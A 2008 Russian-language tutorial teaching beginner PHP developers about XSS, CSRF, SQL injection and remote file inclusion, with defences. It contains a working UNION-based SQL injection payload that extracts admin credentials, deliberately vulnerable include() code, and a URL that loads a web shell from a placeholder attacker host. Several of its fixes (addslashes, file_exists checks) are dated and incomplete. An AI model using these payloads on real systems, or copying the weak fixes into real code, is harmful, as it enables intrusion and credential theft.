Вместо введения

Статья, в первую очередь, направлена на начинающих PHP-программистов. Также сразу оговорюсь, что тема далеко не нова, но знать все равно надо.

Безопасное PHP-программирование

Итак, разберем типичные атаки и методы противодействия им.


  1. XSS (cross site scripting, межсайтовый скриптинг). Уязвимость на сервере, позволяющая внедрить в генерируемую скриптами на сервере HTML-страницу (не в скрипт, в отличие от PHP-инклудинга, описанного ниже) произвольный код путём передачи его в качестве значения нефильтруемой переменной.

    Условно XSS делятся на активные и пассивные:

    Активные XSS: вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы, при открытии какой-либо страницы зараженного сайта;
    Как правило, какое-то поле не фильтровалось, как следовало бы, и теперь, при открытии страницы выполняется вредоносный скрипт.
    Чаще встречается в полях профиля пользователя, сообщениях форума, комментариях и т.п.

    Пассивные XSS: подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS, требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например, клик по специально сформированной ссылке).
    Наиболее часто встречается в полях поиска сайта.

    Как правило, XSS используется для хищения cookies пользователя. Что за этим следует, думаю, расписывать не стоит.

    Как обезопаситься?

    Очень просто: ФИЛЬТРОВАТЬ. В этом помогут следующие функции языка PHP:

    strip_tags() — удаляет HTML и PHP тэги из строки;

    htmlspecialchars() — преобразует специальные символы в HTML сущности;

    htmlentities() — преобразует символы в соответствующие HTML сущности (более гибкий аналог htmlspecialchars());

    stripslashes() — удаляет экранирование символов, произведенное функцией addslashes(). Обычно используется в связке с проверочной функцией get_magic_quotes_gpc(), показывающей текущую установку конфигурации magic_quotes_gpc.

    Про то, что строго не рекомендуется хранить пароли в cookies, а пользователей запоминать не только по cookies но и по IP я упоминать не буду.


  2. CSRF (XSRF, Cross-Site Request Forgery, межсайтовая подделка запроса). Данный тип атак направлен на имитирование запроса пользователя к стороннему сайту. Уязвимость не столь популярна как XSS, однако, при все большем распространении технологии AJAX, популярность данного типа атак будет расти.

    Хотя, уже сейчас CSRF достаточно распространена из-за того, что многие web-приложения не определяют - действительно ли запрос сформирован настоящим пользователем.
    Интересный пример CSRF атаки был недавно обнаружен на сайте vkontakte.ru: http://www.habrahabr.ru/blog/webdev/37556.html.
    Более подробное описание этой атаки вы легко можете найти в сети.

    Как обезопаситься?


    • Добавление уникального параметра к каждому запросу, который затем проверяется сервером (может добавляться в виде скрытого hidden параметра формы при использовании POST-запроса, либо в URL, при использовании GET-запроса). Значение параметра может быть произвольным, например – значение сессии пользователя.
    • Проверка значения заголовка Referer (имеет ряд недостатков, например обработка запросов, не имеющих заголовка Referer как такового. Также, в некоторых ситуациях заголовок Referer может быть подделан).
    • Необходимость ввода пользовательского пароля при изменении критичных настроек.
    • CAPTCHA, тесты Тьюринга. (http://ru.wikipedia.org/wiki/Тест_Тьюринга)


  3. SQL-injection (SQL-инъекция). Один из самых распространённых и опасных способов взлома сайтов и программ, работающих с базами данных. Основан на внедрении в запрос произвольного SQL-кода.
    Принципиально данная атака возможна из-за плохой, а то и никакой, обработки входящих данных, используемых в SQL-запросах.

    Например:

    Код:
    $res = mysql_query("SELECT `field1`, `field2` FROM `table` WHERE `id` = '".$_GET['id ']."');
    В случае, если мы передадим в качестве параметра число 1: _http://site/?id=1, то получим следующий запрос к БД:

    Код:
    SELECT `field1`, `field2` FROM `table` WHERE `id` = '1'
    Но, если мы немного изменим передаваемый параметр, и представим его уже в таком виде:
    _http://site/?id=-1'+UNION+SELECT+username,password+FROM+admin/*

    То мы получим следующий запрос:

    Код:
    SELECT `field1`, `field2` FROM `table` WHERE `id` = '-1' UNION SELECT username,password FROM admin/*
    Последовательность /* комментирует, или другими словами отсекает, оставшийся запрос. С помощью оператора UNION, мы объединяем два запроса:

    Код:
    SELECT `field1`, `field2` FROM `table` WHERE `id` = '-1'
    и

    Код:
    SELECT username, password FROM admin
    Первый запрос ничего не вернет, так как в него мы передали заведомо несуществующее значение, а вот второй выведет нам значения username и password из таблицы admin. К чему это может привести также, думаю, объяснять не стоит.

    Помимо чтения данных из таблиц используемой БД, можно попытаться прочитать данные системных таблиц MySQL: mysql.users и узнать параметры доступа к БД.
    Также можно, с помощью оператора LOAD_FILE(), попытаться загрузить и прочитать файл, хранящийся на сервере (например, /etc/password), что тоже не несет ничего хорошего.

    Как обезопаситься:

    Все вышеописанное стало возможным из-за того, что мы не проверили первоначальное значение параметров $_GET['id '], передаваемых в запрос.

    Код:
    $res = mysql_query("SELECT `field1`, `field2` FROM `table` WHERE `id` = '".$_GET['id ']."');
    Следовательно, перед передачей параметров в скрипт нам надо отфильтровать и проверить полученные данные. Целые и дробные величины приводим к нужному типу, для строковых параметров экранируем кавычки.

    Функции PHP, используемые для фильтрации данных, аналогичны описанным выше, в пункте про XSS.

    $str=addslashes($str);
    mysql_escape_string($str)


  4. PHP-including (PHP-injection, внедрение PHP кода). Данный тип атак позволяет выполнять произвольный PHP код на атакуемой системе.

    Типичные примеры уязвимого скрипта выглядит следующим образом:

    Пример 1.
    Код:
    <?
    $page = ($_GET['page']); 
    include("/pages/$page");
    ?>
    Пример 2.
    Код:
    <?
    $page = ($_GET['page']); 
    include("$page");
    ?>

    Функция include() служит для того, чтобы прикреплять к PHP-коду новые модули на PHP.

    Различают два типа PHP-injection:

    Локальная PHP-injection (пример 1.): инъекция, при которой определен путь для сценария и не могут инклудиться файлы по http/ftp протоколу

    Глобальная PHP-injection (пример 2.): путь не определен и инклуд можно проводить удаленно.

    В примере 2. злоумышленнику достаточно создать на своем хосте PHP-файл с веб-шелом и передать в параметре к скрипту адрес данного шела (например, _http://site.ru/index.php?page=http://hacker.com/shell.php).

    Как обезопаситься?

    Решением проблемы является контроль переменной передаваемой в запросе к скрипту.

    Код:
    switch ($_GET['page']) {
    case news:
    include("news.php");
    break;
    
    case articles:
    include("articles.php");
    break;
    
    ... // и т.д.
    
    default:
    include("index.php"); /* если в переменной $_GET['page'] не будет передано значение, которое учтено выше, то открывается главная страница */
    break;
    }

    Также можно проверять файл на существование:

    Код:
    <? 
    .. 
    if (file_exists($_GET['page'])) { 
    Include($_GET['page']); 
    } 
    else { 
    echo "Error!"; 
    } 
    … 
    ?>
    Можно отфильтровать переменную на предмет возможности перехода в другие директории.

    Код:
    $page  = $_GET['page'];
    $page = str_replace("/","",$page);
    $page = str_replace(":","",$page); 
    $page = str_replace(".","",$page);
    Также рекомендуется в конфиге PHP устанавливать register_globals=off и allow_url_fopen=off


Заключение

В данной статье описаны наиболее распространенные атаки и методы защиты от них. Надеюсь, что для кого-нибудь моя статья окажется полезной, а те, кто не нашел в ней ничего нового… ну что же, зато Вы освежили в памяти свои знания, что так же полезно! (:

P.S.: конечно же жду дополнений и поправок.

2008 © nons